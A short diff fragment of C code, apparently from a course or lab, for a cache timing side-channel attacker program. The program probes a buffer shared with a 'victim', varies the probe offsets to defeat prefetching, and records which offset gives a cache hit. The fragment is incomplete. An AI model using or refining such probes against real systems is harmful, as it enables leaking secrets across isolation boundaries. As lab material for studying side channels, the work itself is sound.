part2 ver 0.4.0 avoid prefetch (maybe)
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@ -17,6 +17,7 @@ int main() {
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int flag = -1;
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int flag = -1;
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CYCLES time = -1;
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CYCLES time = -1;
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int offset = 0;
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int offset = 0;
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int new_offset = 0;
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// buf is shared between the attacker and the victim
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// buf is shared between the attacker and the victim
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char *buf = allocate_shared_buffer();
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char *buf = allocate_shared_buffer();
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@ -26,7 +27,13 @@ int main() {
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}
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}
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for(int i = 0; i < WAIT_TIME; i++);
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for(int i = 0; i < WAIT_TIME; i++);
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for(int i = 0; i < 10000; i++) {
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for(int i = 0; i < 10000; i++) {
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offset = (AVAR * offset + CVAR) % 1024;
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new_offset = (AVAR * offset + CVAR) % 1024;
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if(offset == new_offset||offset-new_offset==1||offset-new_offset==-1) {
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offset = (offset + 712) % 1024;
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}
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else {
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offset = new_offset;
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}
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time = measure_one_block_access_time((ADDR_PTR)buf + offset * 128);
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time = measure_one_block_access_time((ADDR_PTR)buf + offset * 128);
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if(time < CACHE_HIT_THRESHOLD) {
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if(time < CACHE_HIT_THRESHOLD) {
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flag = offset;
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flag = offset;
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